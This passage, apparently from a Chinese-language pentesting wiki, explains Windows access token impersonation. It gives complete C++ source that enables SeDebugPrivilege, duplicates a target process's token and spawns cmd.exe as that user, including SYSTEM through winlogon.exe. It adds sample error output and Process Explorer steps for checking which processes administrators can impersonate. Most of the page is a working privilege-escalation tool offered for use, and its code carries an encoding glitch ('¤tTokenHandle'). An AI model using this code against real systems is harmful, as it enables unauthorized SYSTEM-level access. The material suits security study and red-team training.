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## 代码 以下代码来自[这里](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)。它允许**将一个进程ID作为参数**，并且将以指定进程的用户身份运行的CMD将被运行。\ 在高完整性进程中运行，您可以**指定一个以System身份运行的进程的PID**（如winlogon、wininit），并以system身份执行cmd.exe。 ```cpp impersonateuser.exe 1234 ``` {% code title="impersonateuser.cpp" %} ```cpp #include #include int main() { HANDLE hToken; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) { if (ImpersonateLoggedOnUser(hToken)) { // Your code to be executed as the impersonated user RevertToSelf(); } CloseHandle(hToken); } return 0; } ``` ```cpp // From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962 #include #include #include BOOL SetPrivilege( HANDLE hToken, // access token handle LPCTSTR lpszPrivilege, // name of privilege to enable/disable BOOL bEnablePrivilege // to enable or disable privilege ) { TOKEN_PRIVILEGES tp; LUID luid; if (!LookupPrivilegeValue( NULL, // lookup privilege on local system lpszPrivilege, // privilege to lookup &luid)) // receives LUID of privilege { printf("[-] LookupPrivilegeValue error: %u\n", GetLastError()); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if (bEnablePrivilege) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if (!AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError()); return FALSE; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { printf("[-] The token does not have the specified privilege. \n"); return FALSE; } return TRUE; } std::string get_username() { TCHAR username[UNLEN + 1]; DWORD username_len = UNLEN + 1; GetUserName(username, &username_len); std::wstring username_w(username); std::string username_s(username_w.begin(), username_w.end()); return username_s; } int main(int argc, char** argv) { // Print whoami to compare to thread later printf("[+] Current user is: %s\n", (get_username()).c_str()); // Grab PID from command line argument char* pid_c = argv[1]; DWORD PID_TO_IMPERSONATE = atoi(pid_c); // Initialize variables and structures HANDLE tokenHandle = NULL; HANDLE duplicateTokenHandle = NULL; STARTUPINFO startupInfo; PROCESS_INFORMATION processInformation; ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION)); startupInfo.cb = sizeof(STARTUPINFO); // Add SE debug privilege HANDLE currentTokenHandle = NULL; BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle); if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE)) { printf("[+] SeDebugPrivilege enabled!\n"); } // Call OpenProcess(), print return code and error code HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE); if (GetLastError() == NULL) printf("[+] OpenProcess() success!\n"); else { printf("[-] OpenProcess() Return Code: %i\n", processHandle); printf("[-] OpenProcess() Error: %i\n", GetLastError()); } // Call OpenProcessToken(), print return code and error code BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle); if (GetLastError() == NULL) printf("[+] OpenProcessToken() success!\n"); else { printf("[-] OpenProcessToken() Return Code: %i\n", getToken); printf("[-] OpenProcessToken() Error: %i\n", GetLastError()); } // Impersonate user in a thread BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle); if (GetLastError() == NULL) { printf("[+] ImpersonatedLoggedOnUser() success!\n"); printf("[+] Current user is: %s\n", (get_username()).c_str()); printf("[+] Reverting thread to original user context\n"); RevertToSelf(); } else { printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken); printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError()); } // Call DuplicateTokenEx(), print return code and error code BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle); if (GetLastError() == NULL) printf("[+] DuplicateTokenEx() success!\n"); else { printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken); printf("[-] DupicateTokenEx() Error: %i\n", GetLastError()); } // Call CreateProcessWithTokenW(), print return code and error code BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation); if (GetLastError() == NULL) printf("[+] Process spawned!\n"); else { printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess); printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError()); } return 0; } ``` ## 错误 在某些情况下，您可能尝试模拟系统，但会出现以下输出： ```cpp [+] OpenProcess() success! [+] OpenProcessToken() success! [-] ImpersonatedLoggedOnUser() Return Code: 1 [-] ImpersonatedLoggedOnUser() Error: 5 [-] DuplicateTokenEx() Return Code: 0 [-] DupicateTokenEx() Error: 5 [-] CreateProcessWithTokenW Return Code: 0 [-] CreateProcessWithTokenW Error: 1326 ``` 这意味着即使您在高完整性级别上运行，**权限仍不足**。\ 让我们使用**Process Explorer**（或者您也可以使用Process Hacker）检查`svchost.exe`进程的当前管理员权限： 1. 选择一个`svchost.exe`进程 2. 右键单击 --> 属性 3. 在“安全”选项卡中，点击右下角的“权限”按钮 4. 点击“高级” 5. 选择“管理员”并点击“编辑” 6. 点击“显示高级权限” .png>) 上图显示了“管理员”对所选进程的所有权限（如您所见，对于`svchost.exe`，他们只有“查询”权限） 查看“管理员”对`winlogon.exe`的权限： .png>) 在该进程中，“管理员”可以“读取内存”和“读取权限”，这可能允许管理员模拟此进程使用的令牌。